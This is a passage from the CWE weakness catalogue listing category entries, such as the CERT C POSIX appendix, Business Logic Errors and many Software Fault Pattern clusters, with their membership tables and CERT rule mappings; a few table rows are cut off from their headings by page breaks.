| HasMember | V | 176 | Improper Handling of Unicode Encoding | 734 | 413 |
| HasMember | G | 330 | Use of Insufficiently Random Values | 734 | 748 |
| HasMember | B | 480 | Use of Incorrect Operator | 734 | 1054 |
| HasMember | V | 482 | Comparing instead of Assigning | 734 | 1060 |
| HasMember | B | 561 | Dead Code | 734 | 1165 |
| HasMember | V | 563 | Assignment to Variable without Use | 734 | 1170 |
| HasMember | B | 570 | Expression is Always False | 734 | 1180 |

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|-----------------------------------|-----|------|
| HasMember | B | 571 | Expression is Always True | 734 | 1183 |
| HasMember | PI | 697 | Incorrect Comparison | 734 | 1389 |
| HasMember | G | 704 | Incorrect Type Conversion or Cast | 734 | 1397 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-14 MSC06-C Be aware of compiler optimization when dealing with sensitive data CWE-20 MSC08-C Library functions should validate their parameters CWE-176 MSC10-C Character Encoding - UTF8 Related Issues CWE-330 MSC30-C Do not use the rand() function for generating pseudorandom numbers CWE-480 MSC02-C Avoid errors of omission CWE-480 MSC03-C Avoid errors of addition CWE-482 MSC02-C Avoid errors of omission CWE-561 MSC07-C Detect and remove dead code CWE-563 MSC00-C Compile cleanly at high warning levels CWE-570 MSC00-C Compile cleanly at high warning levels CWE-571 MSC00-C Compile cleanly at high warning levels CWE-697 MSC31-C Ensure that return values are compared against the proper type CWE-704 MSC31-C Ensure that return values are compared against the proper type CWE-758 MSC14-C Do not introduce unnecessary platform dependencies CWE-758 MSC15-C Do not depend on undefined behavior

Category-748: CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)

| | |
|-------------------|------------------|
| Category ID : 748 | Status: Obsolete |
|-------------------|------------------|

Summary

Weaknesses in this category are related to the rules and recommendations in the POSIX (POS) appendix of the CERT C Secure Coding Standard (2008).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 734 | Weaknesses Addressed by the CERT C Secure Coding Standard (2008) | 734 | 2223 |
| HasMember | B | 59 | Improper Link Resolution Before File Access ('Link Following') | 734 | 105 |
| HasMember | B | 170 | Improper Null Termination | 734 | 401 |
| HasMember | B | 242 | Use of Inherently Dangerous Function | 734 | 546 |
| HasMember | B | 272 | Least Privilege Violation | 734 | 610 |
| HasMember | B | 273 | Improper Check for Dropped Privileges | 734 | 613 |
| HasMember | B | 363 | Race Condition Enabling Link Following | 734 | 824 |
| HasMember | B | 366 | Race Condition within a Thread | 734 | 833 |
| HasMember | B | 562 | Return of Stack Variable Address | 734 | 1168 |
| HasMember | G | 667 | Improper Locking | 734 | 1337 |
| HasMember | V | 686 | Function Call With Incorrect Argument Type | 734 | 1373 |
| HasMember | G | 696 | Incorrect Behavior Order | 734 | 1388 |

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-59 POS01-C Check for the existence of links when dealing with files CWE-170 POS30-C Use the readlink() function properly CWE-242 POS33-C Do not use vfork() CWE-272 POS02-C Follow the principle of least privilege CWE-273 POS37-C Ensure that privilege relinquishment is successful CWE-363 POS35-C Avoid race conditions while checking for the existence of a symbolic link CWE-366 POS00-C Avoid race conditions with multiple threads CWE-562 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument CWE-667 POS31-C Do not unlock or destroy another thread's mutex CWE-686 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument CWE-696 POS36-C Observe correct revocation order while relinquishing privileges

Category-840: Business Logic Errors

Category ID : 840

Status: Incomplete

Summary

Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. They can be difficult to find automatically, since they typically involve legitimate use of the application's functionality. However, many business logic errors can exhibit patterns that are similar to well-understood implementation and design weaknesses.

| HasMember | B | 841 | Improper Enforcement of Behavioral Workflow | 699 | 1607 |

Notes

Research Gap

The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

Category-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR)

Category ID : 875

Status: Incomplete

Summary

Weaknesses in this category are related to rules in the Characters and Strings (STR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 868 | Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version) | 868 | 2229 |
| HasMember | B | 78 | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | 868 | 142 |
| HasMember | B | 88 | Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') | 868 | 183 |
| HasMember | G | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 868 | 274 |
| HasMember | B | 120 | Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') | 868 | 285 |
| HasMember | B | 170 | Improper Null Termination | 868 | 401 |
| HasMember | B | 193 | Off-by-one Error | 868 | 456 |
| HasMember | B | 464 | Addition of Data Structure Sentinel | 868 | 1016 |
| HasMember | V | 686 | Function Call With Incorrect Argument Type | 868 | 1373 |
| HasMember | G | 704 | Incorrect Type Conversion or Cast | 868 | 1397 |

Category-899: SFP Primary Cluster: Access Control

Category ID : 899

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Access Control cluster (SFP35).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 888 | Software Fault Pattern (SFP) Clusters | 888 | 2234 |
| HasMember | C | 944 | SFP Secondary Cluster: Access Management | 888 | 2110 |
| HasMember | C | 945 | SFP Secondary Cluster: Insecure Resource Access | 888 | 2110 |
| HasMember | C | 946 | SFP Secondary Cluster: Insecure Resource Permissions | 888 | 2110 |

Category-901: SFP Primary Cluster: Privilege

Category ID : 901

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Privilege cluster (SFP36).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | V | 888 | Software Fault Pattern (SFP) Clusters | 888 | 2234 |
| HasMember | V | 9 | J2EE Misconfiguration: Weak Access Permissions for EJB Methods | 888 | 7 |
| HasMember | B | 250 | Execution with Unnecessary Privileges | 888 | 557 |
| HasMember | B | 266 | Incorrect Privilege Assignment | 888 | 592 |
| HasMember | B | 267 | Privilege Defined With Unsafe Actions | 888 | 595 |
| HasMember | B | 268 | Privilege Chaining | 888 | 598 |
| HasMember | G | 269 | Improper Privilege Management | 888 | 600 |

Category-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities

Category ID : 937

Status: Obsolete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.

Membership

| Nature | Type | ID | Name | V | Page |
|----------|------|------|---|------|------|
| MemberOf | V | 928 | Weaknesses in OWASP Top Ten (2013) | 928 | 2237 |
| MemberOf | C | 1352 | OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components | 1344 | 2210 |

Notes

Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

| HasMember | B | 360 | Trust of System Event Data | 888 | 815 |
| HasMember | B | 551 | Incorrect Behavior Order: Authorization Before Parsing and Canonicalization | 888 | 1156 |
| HasMember | B | 565 | Reliance on Cookies without Validation and Integrity Checking | 888 | 1173 |
| HasMember | V | 647 | Use of Non-Canonical URL Paths for Authorization Decisions | 888 | 1305 |

Category-950: SFP Secondary Cluster: Hardcoded Sensitive Data

Category ID : 950

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 898 | SFP Primary Cluster: Authentication | 888 | 2102 |
| HasMember | V | 258 | Empty Password in Configuration File | 888 | 578 |
| HasMember | V | 259 | Use of Hard-coded Password | 888 | 580 |
| HasMember | V | 321 | Use of Hard-coded Cryptographic Key | 888 | 724 |
| HasMember | V | 547 | Use of Hard-coded, Security-relevant Constants | 888 | 1152 |

Category-951: SFP Secondary Cluster: Insecure Authentication Policy

Category ID : 951

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 898 | SFP Primary Cluster: Authentication | 888 | 2102 |
| HasMember | B | 262 | Not Using Password Aging | 888 | 589 |
| HasMember | B | 263 | Password Aging with Long Expiration | 888 | 590 |
| HasMember | B | 521 | Weak Password Requirements | 888 | 1120 |
| HasMember | V | 556 | ASP.NET Misconfiguration: Use of Identity Impersonation | 888 | 1161 |
| HasMember | B | 613 | Insufficient Session Expiration | 888 | 1253 |
| HasMember | B | 645 | Overly Restrictive Account Lockout Mechanism | 888 | 1302 |

Category-952: SFP Secondary Cluster: Missing Authentication

Category ID : 952

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 898 | SFP Primary Cluster: Authentication | 888 | 2102 |
| HasMember | B | 306 | Missing Authentication for Critical Function | 888 | 688 |
| HasMember | B | 620 | Unverified Password Change | 888 | 1264 |

Category-953: SFP Secondary Cluster: Missing Endpoint Authentication

Category ID : 953

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster (SFP30).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 898 | SFP Primary Cluster: Authentication | 888 | 2102 |
| HasMember | V | 422 | Unprotected Windows Messaging Channel ('Shatter') | 888 | 938 |
| HasMember | B | 425 | Direct Request ('Forced Browsing') | 888 | 941 |

Category-954: SFP Secondary Cluster: Multiple Binds to the Same Port

Category ID : 954

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster (SFP32).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|-------------------------------------|-----|------|
| MemberOf |  | 898 | SFP Primary Cluster: Authentication | 888 | 2102 |
| HasMember |  | 605 | Multiple Binds to the Same Port | 888 | 1240 |

Category-955: SFP Secondary Cluster: Unrestricted Authentication

Category ID : 955

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster (SFP34).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|---|-----|------|
| MemberOf |  | 898 | SFP Primary Cluster: Authentication | 888 | 2102 |
| HasMember |  | 307 | Improper Restriction of Excessive Authentication Attempts | 888 | 692 |

Category-956: SFP Secondary Cluster: Channel Attack

Category ID : 956

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|--|-----|------|
| MemberOf |  | 902 | SFP Primary Cluster: Channel | 888 | 2103 |
| HasMember |  | 290 | Authentication Bypass by Spoofing | 888 | 653 |
| HasMember |  | 294 | Authentication Bypass by Capture-replay | 888 | 660 |
| HasMember |  | 300 | Channel Accessible by Non-Endpoint | 888 | 677 |
| HasMember |  | 301 | Reflection Attack in an Authentication Protocol | 888 | 680 |
| HasMember |  | 419 | Unprotected Primary Channel | 888 | 934 |
| HasMember |  | 420 | Unprotected Alternate Channel | 888 | 935 |
| HasMember |  | 421 | Race Condition During Access to Alternate Channel | 888 | 937 |
| HasMember |  | 441 | Unintended Proxy or Intermediary ('Confused Deputy') | 888 | 977 |

Category-957: SFP Secondary Cluster: Protocol Error

Category ID : 957

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 902 | SFP Primary Cluster: Channel | 888 | 2103 |
| HasMember | B | 353 | Missing Support for Integrity Check | 888 | 803 |
| HasMember | P | 435 | Improper Interaction Between Multiple Correctly-Behaving Entities | 888 | 970 |
| HasMember | G | 436 | Interpretation Conflict | 888 | 971 |
| HasMember | B | 437 | Incomplete Model of Endpoint Features | 888 | 973 |
| HasMember | B | 757 | Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') | 888 | 1432 |

Category-958: SFP Secondary Cluster: Broken Cryptography

Category ID : 958

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 903 | SFP Primary Cluster: Cryptography | 888 | 2103 |
| HasMember | B | 325 | Missing Cryptographic Step | 888 | 732 |
| HasMember | G | 327 | Use of a Broken or Risky Cryptographic Algorithm | 888 | 736 |
| HasMember | B | 328 | Use of Weak Hash | 888 | 742 |
| HasMember | V | 759 | Use of a One-Way Hash without a Salt | 888 | 1435 |
| HasMember | V | 760 | Use of a One-Way Hash with a Predictable Salt | 888 | 1440 |

Category-959: SFP Secondary Cluster: Weak Cryptography

Category ID : 959

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 903 | SFP Primary Cluster: Cryptography | 888 | 2103 |
| HasMember | B | 261 | Weak Encoding for Password | 888 | 586 |
| HasMember | B | 322 | Key Exchange without Entity Authentication | 888 | 727 |
| HasMember | V | 323 | Reusing a Nonce, Key Pair in Encryption | 888 | 729 |
| HasMember | B | 324 | Use of a Key Past its Expiration Date | 888 | 730 |
| HasMember | G | 326 | Inadequate Encryption Strength | 888 | 734 |
| HasMember | V | 329 | Generation of Predictable IV with CBC Mode | 888 | 745 |
| HasMember | B | 347 | Improper Verification of Cryptographic Signature | 888 | 787 |
| HasMember | B | 640 | Weak Password Recovery Mechanism for Forgotten Password | 888 | 1288 |

Category-960: SFP Secondary Cluster: Ambiguous Exception Type

Category ID : 960

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster (SFP5).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|---|-----|------|
| MemberOf |  | 889 | SFP Primary Cluster: Exception Management | 888 | 2099 |
| HasMember |  | 396 | Declaration of Catch for Generic Exception | 888 | 884 |
| HasMember |  | 397 | Declaration of Throws for Generic Exception | 888 | 886 |

Category-961: SFP Secondary Cluster: Incorrect Exception Behavior

Category ID : 961

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster (SFP6).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|--|-----|------|
| MemberOf |  | 889 | SFP Primary Cluster: Exception Management | 888 | 2099 |
| HasMember |  | 392 | Missing Report of Error Condition | 888 | 877 |
| HasMember |  | 393 | Return of Wrong Status Code | 888 | 879 |
| HasMember |  | 455 | Non-exit on Failed Initialization | 888 | 997 |
| HasMember |  | 460 | Improper Cleanup on Thrown Exception | 888 | 1011 |
| HasMember |  | 544 | Missing Standardized Error Handling Mechanism | 888 | 1149 |
| HasMember |  | 584 | Return Inside Finally Block | 888 | 1204 |
| HasMember |  | 636 | Not Failing Securely ('Failing Open') | 888 | 1281 |
| HasMember |  | 703 | Improper Check or Handling of Exceptional Conditions | 888 | 1394 |

Category-962: SFP Secondary Cluster: Unchecked Status Condition

Category ID : 962

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster (SFP4).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|---|-----|------|
| MemberOf |  | 889 | SFP Primary Cluster: Exception Management | 888 | 2099 |
| HasMember |  | 248 | Uncaught Exception | 888 | 555 |
| HasMember |  | 252 | Unchecked Return Value | 888 | 564 |
| HasMember |  | 253 | Incorrect Check of Function Return Value | 888 | 571 |
| HasMember |  | 273 | Improper Check for Dropped Privileges | 888 | 613 |

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| HasMember | B | 280 | Improper Handling of Insufficient Permissions or Privileges | 888 | 625 |
| HasMember | B | 372 | Incomplete Internal State Distinction | 888 | 847 |
| HasMember | B | 390 | Detection of Error Condition Without Action | 888 | 870 |
| HasMember | B | 391 | Unchecked Error Condition | 888 | 874 |
| HasMember | B | 394 | Unexpected Status Code or Return Value | 888 | 881 |

Category-964: SFP Secondary Cluster: Exposure Temporary File

Category ID : 964

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 895 | SFP Primary Cluster: Information Leak | 888 | 2101 |
| HasMember | G | 377 | Insecure Temporary File | 888 | 853 |
| HasMember | B | 378 | Creation of Temporary File With Insecure Permissions | 888 | 856 |
| HasMember | B | 379 | Creation of Temporary File in Directory with Insecure Permissions | 888 | 858 |

Category-965: SFP Secondary Cluster: Insecure Session Management

Category ID : 965

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 895 | SFP Primary Cluster: Information Leak | 888 | 2101 |
| HasMember | V | 6 | J2EE Misconfiguration: Insufficient Session-ID Length | 888 | 2 |
| HasMember | B | 488 | Exposure of Data Element to Wrong Session | 888 | 1071 |
| HasMember | B | 524 | Use of Cache Containing Sensitive Information | 888 | 1128 |

Category-966: SFP Secondary Cluster: Other Exposures

Category ID : 966

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 895 | SFP Primary Cluster: Information Leak | 888 | 2101 |
| HasMember | V | 453 | Insecure Default Variable Initialization | 888 | 993 |
| HasMember | B | 487 | Reliance on Package-level Scope | 888 | 1069 |
| HasMember | V | 492 | Use of Inner Class Containing Sensitive Data | 888 | 1077 |
| HasMember | V | 525 | Use of Web Browser Cache Containing Sensitive Information | 888 | 1129 |
| HasMember | V | 614 | Sensitive Cookie in HTTPS Session Without 'Secure' Attribute | 888 | 1255 |
| HasMember | V | 651 | Exposure of WSDL File Containing Sensitive Information | 888 | 1312 |

Category-967: SFP Secondary Cluster: State Disclosure

Category ID : 967

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 895 | SFP Primary Cluster: Information Leak | 888 | 2101 |

| HasMember | V | 127 | Buffer Under-read | 888 | 314 |

Category-971: SFP Secondary Cluster: Faulty Pointer Use

Category ID : 971

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster (SFP7).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|--|-----|------|
| MemberOf |  | 890 | SFP Primary Cluster: Memory Access | 888 | 2099 |
| HasMember |  | 416 | Use After Free | 888 | 930 |
| HasMember |  | 476 | NULL Pointer Dereference | 888 | 1039 |
| HasMember |  | 588 | Attempt to Access Child of a Non-structure Pointer | 888 | 1210 |

Category-972: SFP Secondary Cluster: Faulty String Expansion

Category ID : 972

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster (SFP9).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|--|-----|------|
| MemberOf |  | 890 | SFP Primary Cluster: Memory Access | 888 | 2099 |
| HasMember |  | 785 | Use of Path Manipulation Function without Maximum-sized Buffer | 888 | 1501 |

Category-973: SFP Secondary Cluster: Improper NULL Termination

Category ID : 973

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster (SFP11).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|------------------------------------|-----|------|
| MemberOf |  | 890 | SFP Primary Cluster: Memory Access | 888 | 2099 |
| HasMember |  | 170 | Improper Null Termination | 888 | 401 |

Category-974: SFP Secondary Cluster: Incorrect Buffer Length Computation

Category ID : 974

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster (SFP10).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|---|-----|------|
| MemberOf |  | 890 | SFP Primary Cluster: Memory Access | 888 | 2099 |
| HasMember |  | 131 | Incorrect Calculation of Buffer Size | 888 | 331 |
| HasMember |  | 135 | Incorrect Calculation of Multi-Byte String Length | 888 | 346 |
| HasMember |  | 251 | Often Misused: String Management | 888 | 2030 |
| HasMember |  | 467 | Use of sizeof() on a Pointer Type | 888 | 1020 |

Category-975: SFP Secondary Cluster: Architecture

Category ID : 975

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|--|-----|------|
| MemberOf |  | 907 | SFP Primary Cluster: Other | 888 | 2105 |
| HasMember |  | 348 | Use of Less Trusted Source | 888 | 789 |
| HasMember |  | 359 | Exposure of Private Personal Information to an Unauthorized Actor | 888 | 811 |
| HasMember |  | 602 | Client-Side Enforcement of Server-Side Security | 888 | 1235 |
| HasMember |  | 637 | Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') | 888 | 1283 |
| HasMember |  | 649 | Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking | 888 | 1308 |
| HasMember |  | 654 | Reliance on a Single Factor in a Security Decision | 888 | 1317 |
| HasMember |  | 656 | Reliance on Security Through Obscurity | 888 | 1321 |
| HasMember |  | 657 | Violation of Secure Design Principles | 888 | 1323 |
| HasMember |  | 671 | Lack of Administrator Control over Security | 888 | 1347 |
| HasMember |  | 693 | Protection Mechanism Failure | 888 | 1384 |
| HasMember |  | 749 | Exposed Dangerous Method or Function | 888 | 1417 |

Category-976: SFP Secondary Cluster: Compiler

Category ID : 976

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|---|-----|---|-----|------|
| MemberOf |  | 907 | SFP Primary Cluster: Other | 888 | 2105 |
| HasMember |  | 733 | Compiler Optimization Removal or Modification of Security-critical Code | 888 | 1415 |

Category-977: SFP Secondary Cluster: Design

Category ID : 977

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Design cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 907 | SFP Primary Cluster: Other | 888 | 2105 |
| HasMember | B | 115 | Misinterpretation of Input | 888 | 262 |
| HasMember | V | 187 | Partial String Comparison | 888 | 439 |
| HasMember | B | 188 | Reliance on Data/Memory Layout | 888 | 441 |
| HasMember | B | 193 | Off-by-one Error | 888 | 456 |
| HasMember | B | 349 | Acceptance of Extraneous Untrusted Data With Trusted Data | 888 | 791 |
| HasMember | G | 405 | Asymmetric Resource Consumption (Amplification) | 888 | 908 |
| HasMember | G | 406 | Insufficient Control of Network Message Volume (Network Amplification) | 888 | 910 |
| HasMember | G | 407 | Inefficient Algorithmic Complexity | 888 | 912 |
| HasMember | B | 408 | Incorrect Behavior Order: Early Amplification | 888 | 914 |
| HasMember | B | 409 | Improper Handling of Highly Compressed Data (Data Amplification) | 888 | 915 |
| HasMember | B | 410 | Insufficient Resource Pool | 888 | 917 |
| HasMember | B | 430 | Deployment of Wrong Handler | 888 | 956 |
| HasMember | B | 462 | Duplicate Key in Associative List (Alist) | 888 | 1013 |
| HasMember | B | 463 | Deletion of Data Structure Sentinel | 888 | 1015 |
| HasMember | B | 464 | Addition of Data Structure Sentinel | 888 | 1016 |
| HasMember | B | 483 | Incorrect Block Delimitation | 888 | 1062 |
| HasMember | B | 581 | Object Model Violation: Just One of Equals and Hashcode Defined | 888 | 1200 |
| HasMember | V | 595 | Comparison of Object References Instead of Object Contents | 888 | 1219 |
| HasMember | B | 618 | Exposed Unsafe ActiveX Method | 888 | 1262 |
| HasMember | B | 648 | Incorrect Use of Privileged APIs | 888 | 1307 |
| HasMember | G | 670 | Always-Incorrect Control Flow Implementation | 888 | 1345 |
| HasMember | P | 682 | Incorrect Calculation | 888 | 1365 |
| HasMember | P | 691 | Insufficient Control Flow Management | 888 | 1381 |
| HasMember | G | 696 | Incorrect Behavior Order | 888 | 1388 |
| HasMember | P | 697 | Incorrect Comparison | 888 | 1389 |
| HasMember | B | 698 | Execution After Redirect (EAR) | 888 | 1393 |
| HasMember | G | 705 | Incorrect Control Flow Scoping | 888 | 1399 |

Category-978: SFP Secondary Cluster: Implementation

Category ID : 978

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 907 | SFP Primary Cluster: Other | 888 | 2105 |
| HasMember | B | 358 | Improperly Implemented Security Check for Standard | 888 | 810 |
| HasMember | C | 398 | 7PK - Code Quality | 888 | 2040 |
| HasMember | V | 623 | Unsafe ActiveX Control Marked Safe For Scripting | 888 | 1269 |
| HasMember | P | 710 | Improper Adherence to Coding Standards | 888 | 1405 |

Category-979: SFP Secondary Cluster: Failed Chroot Jail

Category ID : 979

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster (SFP17).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 893 | SFP Primary Cluster: Path Resolution | 888 | 2100 |
| HasMember | V | 243 | Creation of chroot Jail Without Changing Working Directory | 888 | 548 |

Category-980: SFP Secondary Cluster: Link in Resource Name Resolution

Category ID : 980

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster (SFP18).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|---|-----|------|
| MemberOf | C | 893 | SFP Primary Cluster: Path Resolution | 888 | 2100 |
| HasMember | B | 59 | Improper Link Resolution Before File Access ('Link Following') | 888 | 105 |
| HasMember | V | 62 | UNIX Hard Link | 888 | 112 |
| HasMember | V | 64 | Windows Shortcut Following (.LNK) | 888 | 114 |
| HasMember | V | 65 | Windows Hard Link | 888 | 116 |
| HasMember | B | 386 | Symbolic Name not Mapping to Correct Object | 888 | 868 |
| HasMember | G | 610 | Externally Controlled Reference to a Resource in Another Sphere | 888 | 1248 |

Category-981: SFP Secondary Cluster: Path Traversal

Category ID : 981

Status: Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster (SFP16).

Membership

| Nature | Type | ID | Name | V | Page |
|-----------|------|-----|--|-----|------|
| MemberOf | C | 893 | SFP Primary Cluster: Path Resolution | 888 | 2100 |
| HasMember | B | 22 | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | 888 | 31 |
| HasMember | B | 23 | Relative Path Traversal | 888 | 42 |
| HasMember | V | 24 | Path Traversal: '../filedir' | 888 | 49 |
| HasMember | V | 25 | Path Traversal: '/../filedir' | 888 | 50 |
| HasMember | V | 26 | Path Traversal: '/dir../filename' | 888 | 52 |
| HasMember | V | 27 | Path Traversal: 'dir../filename' | 888 | 53 |
| HasMember | V | 28 | Path Traversal: '..filedir' | 888 | 55 |
| HasMember | V | 29 | Path Traversal: '..filename' | 888 | 57 |
| HasMember | V | 30 | Path Traversal: 'dir..filename' | 888 | 59 |
| HasMember | V | 31 | Path Traversal: 'dir..\filename' | 888 | 60 |
| HasMember | V | 32 | Path Traversal: '...' (Triple Dot) | 888 | 62 |
| HasMember | V | 33 | Path Traversal: '....' (Multiple Dot) | 888 | 64 |
| HasMember | V | 34 | Path Traversal: '.../' | 888 | 66 |
| HasMember | V | 35 | Path Traversal: '.../.../' | 888 | 68 |
| HasMember | B | 36 | Absolute Path Traversal | 888 | 70 |
| HasMember | V | 37 | Path Traversal: '/absolute/pathname/here' | 888 | 73 |
| HasMember | V | 38 | Path Traversal: '\absolute\pathname\here' | 888 | 75 |
| HasMember | V | 39 | Path Traversal: 'C:dirname' | 888 | 77 |
| HasMember | V | 40 | Path Traversal: '\\UNC\share\name\' (Windows UNC Share) | 888 | 79 |
| HasMember | B | 41 | Improper Resolution of Path Equivalence | 888 | 81 |
| HasMember | V | 42 | Path Equivalence: 'filename.' (Trailing Dot) | 888 | 87 |
| HasMember | V | 43 | Path Equivalence: 'filename....' (Multiple Trailing Dot) | 888 | 88 |
| HasMember | V | 44 | Path Equivalence: 'file.name' (Internal Dot) | 888 | 89 |
| HasMember | V | 45 | Path Equivalence: 'file...name' (Multiple Internal Dot) | 888 | 89 |
| HasMember | V | 46 | Path Equivalence: 'filename ' (Trailing Space) | 888 | 90 |
| HasMember | V | 47 | Path Equivalence: ' filename' (Leading Space) | 888 | 92 |
| HasMember | V | 48 | Path Equivalence: 'file name' (Internal Whitespace) | 888 | 93 |
| HasMember | V | 49 | Path Equivalence: 'filename/' (Trailing Slash) | 888 | 94 |
| HasMember | V | 50 | Path Equivalence: '//multiple/leading/slash' | 888 | 95 |
| HasMember | V | 51 | Path Equivalence: '/multiple//internal/slash' | 888 | 96 |
